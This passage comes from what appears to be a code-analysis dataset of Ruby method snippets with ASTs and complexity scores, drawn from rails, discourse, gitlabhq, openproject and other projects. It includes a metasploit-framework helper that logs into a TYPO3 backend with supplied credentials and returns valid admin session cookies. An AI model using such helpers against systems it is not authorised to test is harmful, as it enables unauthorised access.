children\":[\"ExtraFirm\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"ExtraFirm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"class\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"unload\"]}]}]}]}]}","id":"77ce0cbe-2bc8-4973-a11a-3bb3f22f04d8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/bookmark_query.rb","start_line":8,"raw_source":"def self.on_preload(&blk)\n    (@preload ||= Set.new) << blk\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_preload\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@preload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}","id":"ff509e5a-774b-43e1-8753-6c34ef6c25dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/application_mailer.rb","start_line":67,"raw_source":"def mail_with_locale(headers = {}, &block)\n    locale = recipient_locale headers\n\n    Gitlab::I18n.with_locale(locale) do\n      mail(headers, &block)\n    end\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mail_with_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"send\",\"children\":[null,\"recipient_locale\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"I18n\"]},\"with_locale\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"11358a58-0b1b-49f6-a522-ccd3605bbdb7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/sys_controller.rb","start_line":42,"raw_source":"def repo_auth\n    project = Project.find_by(identifier: params[:repository])\n    if project && authorized?(project, @authenticated_user)\n      render plain: \"Access granted\"\n    else\n      render plain: \"Not allowed\", status: :forbidden # default to deny\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"repo_auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"authorized?\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@authenticated_user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"Access granted\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"Not allowed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]}]}","id":"3ed1cef6-828a-46a0-8962-b8d489d0242d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/kernel/concern_test.rb","start_line":7,"raw_source":"def test_may_be_defined_at_toplevel\n    mod = ::TOPLEVEL_BINDING.eval \"concern(:ToplevelConcern) { }\"\n    assert_equal mod, ::ToplevelConcern\n    assert_kind_of ActiveSupport::Concern, ::ToplevelConcern\n    assert_not Object.ancestors.include?(::ToplevelConcern), mod.ancestors.inspect\n  ensure\n    Object.send :remove_const, :ToplevelConcern\n  end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_may_be_defined_at_toplevel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"TOPLEVEL_BINDING\"]},\"eval\",{\"type\":\"str\",\"children\":[\"concern(:ToplevelConcern) { }\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ToplevelConcern\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Concern\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ToplevelConcern\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"ancestors\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ToplevelConcern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"ancestors\"]},\"inspect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"sym\",\"children\":[\"ToplevelConcern\"]}]}]}]}","id":"687e6c97-a03b-4e80-b34d-91555fd288cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ssh/arista_tacplus_shell.rb","start_line":111,"raw_source":"def username\n    datastore['USERNAME']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}","id":"8c7b0f1f-2915-47b2-8725-dd47e96028ba"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/airtable/schema_helper.rb","start_line":82,"raw_source":"def deep_copy(object)\n            Marshal.load(Marshal.dump(object))\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_copy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"707fbfe2-085c-49e6-b4a6-534ca111e2ee"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/commands/add.rb","start_line":36,"raw_source":"def template_context\n        opts = OpenStruct.new\n        opts[:cmd_options] = cmd_options\n        opts[:cmd_object_parts] = cmd_object_parts\n        opts[:cmd_desc_args] = cmd_desc_args\n        opts[:cmd_desc] = cmd_desc\n        opts[:app_indent] = app_indent\n        opts[:cmd_indent] = cmd_indent\n        opts[:cmd_path] = \"#{namespaced_path}/commands/#{cmd_name_path}\"\n        opts[:subcmd_path] = subcmd_name &&\n          \"#{namespaced_path}/commands/#{cmd_name_path}/#{subcmd_name_path}\"\n        opts[:cmd_name_constantinized] = cmd_name_constantinized\n        opts[:subcmd_name_constantinized] = subcmd_name && subcmd_name_constantinized\n        opts[:app_name_underscored] = app_name_underscored\n        opts[:cmd_name_underscored] = cmd_name_underscored\n        opts[:subcmd_name_underscored] = subcmd_name && subcmd_name_underscored\n        opts[:app_constantinized_parts] = app_name_constantinized.split(\"::\")\n        opts[:cmd_constantinized_parts] = cmd_constantinized_parts\n        opts[:cmd_file_path] = cmd_file_path\n        opts\n      end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"template_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_options\"]},{\"type\":\"send\",\"children\":[null,\"cmd_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_object_parts\"]},{\"type\":\"send\",\"children\":[null,\"cmd_object_parts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_desc_args\"]},{\"type\":\"send\",\"children\":[null,\"cmd_desc_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_desc\"]},{\"type\":\"send\",\"children\":[null,\"cmd_desc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"app_indent\"]},{\"type\":\"send\",\"children\":[null,\"app_indent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_indent\"]},{\"type\":\"send\",\"children\":[null,\"cmd_indent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespaced_path\"]}]},{\"type\":\"str\",\"children\":[\"/commands/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_name_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"subcmd_path\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcmd_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespaced_path\"]}]},{\"type\":\"str\",\"children\":[\"/commands/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_name_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcmd_name_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_name_constantinized\"]},{\"type\":\"send\",\"children\":[null,\"cmd_name_constantinized\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"subcmd_name_constantinized\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcmd_name\"]},{\"type\":\"send\",\"children\":[null,\"subcmd_name_constantinized\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"app_name_underscored\"]},{\"type\":\"send\",\"children\":[null,\"app_name_underscored\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_name_underscored\"]},{\"type\":\"send\",\"children\":[null,\"cmd_name_underscored\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"subcmd_name_underscored\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcmd_name\"]},{\"type\":\"send\",\"children\":[null,\"subcmd_name_underscored\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"app_constantinized_parts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_name_constantinized\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_constantinized_parts\"]},{\"type\":\"send\",\"children\":[null,\"cmd_constantinized_parts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cmd_file_path\"]},{\"type\":\"send\",\"children\":[null,\"cmd_file_path\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"3d2911df-1ad5-4130-8841-1a8fa922c76e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/typo3/login.rb","start_line":9,"raw_source":"def typo3_backend_login(user, pass)\n    # get login page for RSA modulus and exponent\n    res_main = send_request_cgi({\n      'method' => 'GET',\n      'uri' => typo3_url_login\n    })\n\n    unless res_main and res_main.code == 200\n      vprint_error('Can not reach login page')\n      return nil\n    end\n\n    e_match = res_main.body.match(/<input type=\"hidden\" id=\"rsa_e\" name=\"e\" value=\"(\\d+)\" \\/>/)\n    if e_match.nil?\n      vprint_error('Can not find rsa_e value')\n      return nil\n    end\n    e = e_match[1]\n\n    n_match = res_main.body.match(/<input type=\"hidden\" id=\"rsa_n\" name=\"n\" value=\"(\\w+)\" \\/>/)\n    if n_match.nil?\n      vprint_error('Can not find rsa_n value')\n      return nil\n    end\n    n = n_match[1]\n\n    vprint_status(\"e: #{e}\")\n    vprint_status(\"n: #{n}\")\n    rsa_enc = typo3_helper_login_rsa(e, n, pass)\n    vprint_status(\"RSA Hash: #{rsa_enc}\")\n    # make login request\n    vars_post = {\n      'n' => '',\n      'e' => '',\n      'login_status' => 'login',\n      'userident' => rsa_enc,\n      'redirect_url' => 'backend.php',\n      'loginRefresh' => '',\n      'interface' => 'backend',\n      'username' => user,\n      'p_field' => '',\n      'commandLI' => 'Login'\n    }\n    res_login = send_request_cgi({\n      'method' => 'POST',\n      'uri' => typo3_url_login,\n      'cookie' => res_main.get_cookies,\n      'vars_post' => vars_post,\n      'headers' => {'Referer' => full_uri}\n    })\n    if res_login\n      if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im\n        vprint_status(strip_tags($1))\n        return nil\n      elsif res_login.body =~ /<p class=\"t3-error-text\">(.*?)<\\/p>/im\n        vprint_status(strip_tags($1))\n        return nil\n      else\n        cookies = res_login.get_cookies\n        return cookies if typo3_admin_cookie_valid?(cookies)\n        return nil\n      end\n    end\n\n    return nil\n  end","complexity_score":55.13,"ast_json":"{\"type\":\"def\",\"children\":[\"typo3_backend_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_main\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"typo3_url_login\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_main\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_main\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Can not reach login page\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"e_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_main\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<input type=\\\"hidden\\\" id=\\\"rsa_e\\\" name=\\\"e\\\" value=\\\"(\\\\d+)\\\" />\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e_match\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Can not find rsa_e value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"n_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_main\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<input type=\\\"hidden\\\" id=\\\"rsa_n\\\" name=\\\"n\\\" value=\\\"(\\\\w+)\\\" />\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n_match\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Can not find rsa_n value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"e: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"n: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rsa_enc\",{\"type\":\"send\",\"children\":[null,\"typo3_helper_login_rsa\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"lvar\",\"children\":[\"n\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RSA Hash: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsa_enc\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vars_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"n\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login_status\"]},{\"type\":\"str\",\"children\":[\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userident\"]},{\"type\":\"lvar\",\"children\":[\"rsa_enc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"redirect_url\"]},{\"type\":\"str\",\"children\":[\"backend.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"loginRefresh\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"interface\"]},{\"type\":\"str\",\"children\":[\"backend\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"p_field\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"commandLI\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res_login\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"typo3_url_login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_main\"]},\"get_cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"vars_post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_login\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_login\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[null,\"strip_tags\",{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_login\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<p class=\\\"t3-error-text\\\">(.*?)</p>\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[null,\"strip_tags\",{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_login\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"typo3_admin_cookie_valid?\",{\"type\":\"lvar\",\"children\":[\"cookies\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8590f7e9-a09d-4176-8687-1c53224588d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/lib/discourse_automation/triggers/recurring.rb","start_line":118,"raw_source":"def self.log_debugging_info(context)\n        return if !SiteSetting.discourse_automation_enable_recurring_debug\n        str = \"[automation] scheduling recurring automation debug: \"\n        str += context.map { |k, v| \"#{k}=#{v.inspect}\" }.join(\", \")\n        Rails.logger.warn(str)\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_debugging_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_automation_enable_recurring_debug\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"str\",\"children\":[\"[automation] scheduling recurring automation debug: \"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"inspect\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}","id":"59ecb9be-7640-49cc-8764-d6b80e67b7ea"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/add_work_package_note_service.rb","start_line":87,"raw_source":"def claim_attachments_for(journal)\n    WorkPackages::ActivitiesTab::CommentAttachmentsClaims::ClaimsService\n      .new(user: User.current, model: journal)\n      .call\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"claim_attachments_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"ActivitiesTab\"]},\"CommentAttachmentsClaims\"]},\"ClaimsService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"journal\"]}]}]}]},\"call\"]}]}","id":"cb7f5154-e00e-4fba-92b2-b5a8674f33ee"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":293,"raw_source":"def test_template_objects_exist\n    process :assign_this\n    assert_not @controller.instance_variable_defined?(:\"@hi\")\n    assert @controller.instance_variable_get(:\"@howdy\")\n  